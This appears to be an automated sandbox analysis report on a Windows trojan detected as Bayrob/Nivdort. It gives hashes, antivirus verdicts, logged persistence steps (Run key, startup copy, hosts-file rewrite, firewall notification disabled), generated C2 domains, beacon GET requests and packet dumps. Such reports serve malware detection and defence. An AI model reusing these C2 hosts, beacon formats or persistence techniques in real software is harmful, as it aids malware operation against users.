Analysis Date2015-09-16 21:50:30
MD55fa2ed361ff5b2cc35609206c5d84957
SHA19fb0468b40621090d0d9f98726c8fd22dd21c27b

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 3a77f2cd76b031e8bc1a9d15d5fec878 sha1: 935abd1d1d8039f6fafd31fbf88ddec736f6f453 size: 976384
Section.rdata md5: b370efb328f201cc8774a568167a89a3 sha1: 111436ca67425dabc640de903d0f393340a3c829 size: 31744
Section.data md5: ee8bf4b1dd88fb1bd69d6040d6bece7d sha1: 1fdb45d056a0bf92f9e9eb2403ca0017985451ca size: 117248
Timestamp2013-03-14 23:45:00
PackerMicrosoft Visual C++ ?.?
PEhashe687914636a12d9b932a3784f46f02890b7636fc
IMPhash36a6fc89f1fc4e137bc900bb5d062da6
AVRisingno_virus
AVMcafeeno_virus
AVAvira (antivir)BDS/Zegost.Gen
AVTwisterVirus.CB0000E978FEFFFF50.mg
AVAd-AwareGen:Variant.Kazy.164619
AVAlwil (avast)Evo-gen [Susp]
AVEset (nod32)Win32/Bayrob.N.Gen
AVGrisoft (avg)Generic_r.CDN
AVSymantecTrojan.Bayrob!gen4
AVFortinetW32/Bayrob.N!tr
AVBitDefenderGen:Variant.Kazy.164619
AVK7Backdoor ( 04c540d41 )
AVMicrosoft Security EssentialsTrojanSpy:Win32/Nivdort.AE
AVMicroWorld (escan)Gen:Variant.Kazy.164619
AVMalwareBytesTrojan.Agent
AVAuthentiumW32/Symmi.G.gen!Eldorado
AVFrisk (f-prot)W32/Symmi.G.gen!Eldorado
AVIkarusTrojan.Win32.Spy
AVEmsisoftGen:Variant.Kazy.164619
AVZillya!no_virus
AVKasperskyTrojan.Win32.Generic
AVTrend MicroTSPY_NIVDORT.SM
AVCAT (quickheal)no_virus
AVVirusBlokAda (vba32)no_virus
AVPadvishno_virus
AVBullGuardGen:Variant.Kazy.164619
AVArcabit (arcavir)Gen:Variant.Kazy.164619
AVClamAVno_virus
AVDr. WebTrojan.DownLoader9.23455
AVF-SecureGen:Variant.Kazy.164619
AVCA (E-Trust Ino)no_virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\xa7kmo01kt5fmvmafcett.exe
Creates FileC:\WINDOWS\system32\txwiaiyowdskosi\tst
Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\xa7kmo01kt5fmvmafcett.exe

Process
↳ C:\Documents and Settings\Administrator\Local Settings\Temp\xa7kmo01kt5fmvmafcett.exe

RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Tunneling Intelligent Visual Image Storage Media ➝
C:\WINDOWS\system32\zxzldwtotd.exe
Creates FileC:\Documents and Settings\Administrator\Start Menu\Programs\Startup\zxzldwtotd.exe
Creates FileC:\WINDOWS\system32\drivers\etc\hosts
Creates FileC:\WINDOWS\system32\txwiaiyowdskosi\lck
Creates FileC:\WINDOWS\system32\zxzldwtotd.exe
Creates FileC:\WINDOWS\system32\txwiaiyowdskosi\etc
Creates FileC:\WINDOWS\system32\txwiaiyowdskosi\tst
Deletes FileC:\WINDOWS\system32\\drivers\etc\hosts
Creates ProcessC:\WINDOWS\system32\zxzldwtotd.exe
Creates ServiceLogon HomeGroup Collector Backup Print Time - C:\WINDOWS\system32\zxzldwtotd.exe

Process
↳ C:\WINDOWS\system32\svchost.exe

Process
↳ Pid 812

Process
↳ Pid 860

Process
↳ C:\WINDOWS\System32\svchost.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\WERe42d.dir00\svchost.exe.mdmp
Creates File\Device\Afd\Endpoint
Creates FileC:\WINDOWS\system32\WBEM\Logs\wbemess.log
Creates Filepipe\PCHFaultRepExecPipe
Creates ProcessC:\WINDOWS\system32\dumprep.exe 1028 -dm 7 7 C:\Documents and Settings\Administrator\Local Settings\Temp\WERe42d.dir00\svchost.exe.mdmp 16325836412030904

Process
↳ Pid 1216

Process
↳ C:\WINDOWS\system32\spoolsv.exe

RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\BeepEnabled ➝
NULL
RegistryHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\Print\TypesSupported ➝
7
RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\Printers\SymbolicLinkValue ➝
NULL
RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Print\Printers\DefaultSpoolDirectory ➝
C:\WINDOWS\System32\spool\PRINTERS\\x00
Creates FileWMIDataDevice

Process
↳ Pid 1872

Process
↳ Pid 1136

Process
↳ C:\WINDOWS\system32\zxzldwtotd.exe

RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Security Center\FirewallDisableNotify ➝
1
Creates FileC:\WINDOWS\system32\txwiaiyowdskosi\cfg
Creates FileC:\WINDOWS\system32\txwiaiyowdskosi\run
Creates FileC:\WINDOWS\system32\txwiaiyowdskosi\rng
Creates FileC:\WINDOWS\system32\ugunyocdqk.exe
Creates FileC:\WINDOWS\system32\txwiaiyowdskosi\lck
Creates Filepipe\net\NtControlPipe10
Creates FileC:\WINDOWS\TEMP\xa7kmo01rkmfmq.exe
Creates File\Device\Afd\Endpoint
Creates FileC:\WINDOWS\system32\txwiaiyowdskosi\tst
Creates ProcessC:\WINDOWS\TEMP\xa7kmo01rkmfmq.exe -r 29234 tcp
Creates ProcessWATCHDOGPROC "c:\windows\system32\zxzldwtotd.exe"

Process
↳ C:\WINDOWS\system32\zxzldwtotd.exe

Process
↳ C:\WINDOWS\system32\dumprep.exe 1028 -dm 7 7 C:\Documents and Settings\Administrator\Local Settings\Temp\WERe42d.dir00\svchost.exe.mdmp 16325836412030904

Process
↳ WATCHDOGPROC "c:\windows\system32\zxzldwtotd.exe"

Creates FileC:\WINDOWS\system32\txwiaiyowdskosi\tst

Process
↳ C:\WINDOWS\TEMP\xa7kmo01rkmfmq.exe -r 29234 tcp

Creates File\Device\Afd\Endpoint
Winsock DNS239.255.255.250

Network Details:

DNSmojoguia.com
Type: A
204.11.56.48
DNSvillemojo.com
Type: A
209.99.40.222
DNSdeepfeet.net
Type: A
23.229.186.71
DNSalongeach.net
Type: A
195.22.26.231
DNSalongeach.net
Type: A
195.22.26.252
DNSalongeach.net
Type: A
195.22.26.253
DNSalongeach.net
Type: A
195.22.26.254
DNSsoiledge.net
Type: A
95.211.230.75
DNSballgray.net
Type: A
98.139.135.129
DNStillapril.net
Type: A
66.96.147.155
DNSdominoclub-grup.com
Type: A
DNSelementarimagine.com
Type: A
DNSjarybuter.com
Type: A
DNSmojositio.com
Type: A
DNSaminastol.com
Type: A
DNSlifefeet.net
Type: A
DNSenemyeach.net
Type: A
DNSlifeeach.net
Type: A
DNSenemyyesterday.net
Type: A
DNSlifeyesterday.net
Type: A
DNSenemywedge.net
Type: A
DNSlifewedge.net
Type: A
DNSmouthfeet.net
Type: A
DNStillfeet.net
Type: A
DNSmoutheach.net
Type: A
DNStilleach.net
Type: A
DNSmouthyesterday.net
Type: A
DNStillyesterday.net
Type: A
DNSmouthwedge.net
Type: A
DNStillwedge.net
Type: A
DNSshallfeet.net
Type: A
DNSshalleach.net
Type: A
DNSdeepeach.net
Type: A
DNSshallyesterday.net
Type: A
DNSdeepyesterday.net
Type: A
DNSshallwedge.net
Type: A
DNSdeepwedge.net
Type: A
DNSpushfeet.net
Type: A
DNSfridayfeet.net
Type: A
DNSpusheach.net
Type: A
DNSfridayeach.net
Type: A
DNSpushyesterday.net
Type: A
DNSfridayyesterday.net
Type: A
DNSpushwedge.net
Type: A
DNSfridaywedge.net
Type: A
DNSalongfeet.net
Type: A
DNSdecemberfeet.net
Type: A
DNSdecembereach.net
Type: A
DNSalongyesterday.net
Type: A
DNSdecemberyesterday.net
Type: A
DNSalongwedge.net
Type: A
DNSdecemberwedge.net
Type: A
DNSlonggray.net
Type: A
DNSsoilgray.net
Type: A
DNSlongapril.net
Type: A
DNSsoilapril.net
Type: A
DNSlongarmy.net
Type: A
DNSsoilarmy.net
Type: A
DNSlongedge.net
Type: A
DNSwheelgray.net
Type: A
DNSsaidgray.net
Type: A
DNSwheelapril.net
Type: A
DNSsaidapril.net
Type: A
DNSwheelarmy.net
Type: A
DNSsaidarmy.net
Type: A
DNSwheeledge.net
Type: A
DNSsaidedge.net
Type: A
DNSstickgray.net
Type: A
DNSstickapril.net
Type: A
DNSballapril.net
Type: A
DNSstickarmy.net
Type: A
DNSballarmy.net
Type: A
DNSstickedge.net
Type: A
DNSballedge.net
Type: A
DNSenemygray.net
Type: A
DNSlifegray.net
Type: A
DNSenemyapril.net
Type: A
DNSlifeapril.net
Type: A
DNSenemyarmy.net
Type: A
DNSlifearmy.net
Type: A
DNSenemyedge.net
Type: A
DNSlifeedge.net
Type: A
DNSmouthgray.net
Type: A
DNStillgray.net
Type: A
DNSmouthapril.net
Type: A
DNSmoutharmy.net
Type: A
DNStillarmy.net
Type: A
DNSmouthedge.net
Type: A
DNStilledge.net
Type: A
DNSshallgray.net
Type: A
DNSdeepgray.net
Type: A
DNSshallapril.net
Type: A
DNSdeepapril.net
Type: A
DNSshallarmy.net
Type: A
DNSdeeparmy.net
Type: A
HTTP GEThttp://mojoguia.com/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
HTTP GEThttp://villemojo.com/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
HTTP GEThttp://deepfeet.net/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
HTTP GEThttp://alongeach.net/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
HTTP GEThttp://soiledge.net/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
HTTP GEThttp://ballgray.net/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
HTTP GEThttp://tillapril.net/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
HTTP GEThttp://mojoguia.com/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
HTTP GEThttp://villemojo.com/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
HTTP GEThttp://deepfeet.net/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
HTTP GEThttp://alongeach.net/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
HTTP GEThttp://soiledge.net/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
HTTP GEThttp://ballgray.net/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
HTTP GEThttp://tillapril.net/forum/search.php?method=validate&mode=sox&v=004&sox=2c4dd200
User-Agent:
Flows TCP192.168.1.1:1036 ➝ 204.11.56.48:80
Flows TCP192.168.1.1:1037 ➝ 209.99.40.222:80
Flows TCP192.168.1.1:1038 ➝ 23.229.186.71:80
Flows TCP192.168.1.1:1039 ➝ 195.22.26.231:80
Flows TCP192.168.1.1:1040 ➝ 95.211.230.75:80
Flows TCP192.168.1.1:1042 ➝ 98.139.135.129:80
Flows TCP192.168.1.1:1043 ➝ 66.96.147.155:80
Flows TCP192.168.1.1:1044 ➝ 204.11.56.48:80
Flows TCP192.168.1.1:1045 ➝ 209.99.40.222:80
Flows TCP192.168.1.1:1046 ➝ 23.229.186.71:80
Flows TCP192.168.1.1:1047 ➝ 195.22.26.231:80
Flows TCP192.168.1.1:1048 ➝ 95.211.230.75:80
Flows TCP192.168.1.1:1049 ➝ 98.139.135.129:80
Flows TCP192.168.1.1:1050 ➝ 66.96.147.155:80

Raw Pcap
0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206d6f 6a6f6775 69612e63 6f6d0d0a   : mojoguia.com..
0x00000080 (00128)   0d0a                                  ..

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207669 6c6c656d 6f6a6f2e 636f6d0d   : villemojo.com.
0x00000080 (00128)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206465 65706665 65742e6e 65740d0a   : deepfeet.net..
0x00000080 (00128)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a20616c 6f6e6765 6163682e 6e65740d   : alongeach.net.
0x00000080 (00128)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a20736f 696c6564 67652e6e 65740d0a   : soiledge.net..
0x00000080 (00128)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206261 6c6c6772 61792e6e 65740d0a   : ballgray.net..
0x00000080 (00128)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207469 6c6c6170 72696c2e 6e65740d   : tillapril.net.
0x00000080 (00128)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206d6f 6a6f6775 69612e63 6f6d0d0a   : mojoguia.com..
0x00000080 (00128)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207669 6c6c656d 6f6a6f2e 636f6d0d   : villemojo.com.
0x00000080 (00128)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206465 65706665 65742e6e 65740d0a   : deepfeet.net..
0x00000080 (00128)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a20616c 6f6e6765 6163682e 6e65740d   : alongeach.net.
0x00000080 (00128)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a20736f 696c6564 67652e6e 65740d0a   : soiledge.net..
0x00000080 (00128)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206261 6c6c6772 61792e6e 65740d0a   : ballgray.net..
0x00000080 (00128)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303034 26736f78 3d326334 64643230   =004&sox=2c4dd20
0x00000040 (00064)   30204854 54502f31 2e300d0a 41636365   0 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207469 6c6c6170 72696c2e 6e65740d   : tillapril.net.
0x00000080 (00128)   0a0d0a                                ...


Strings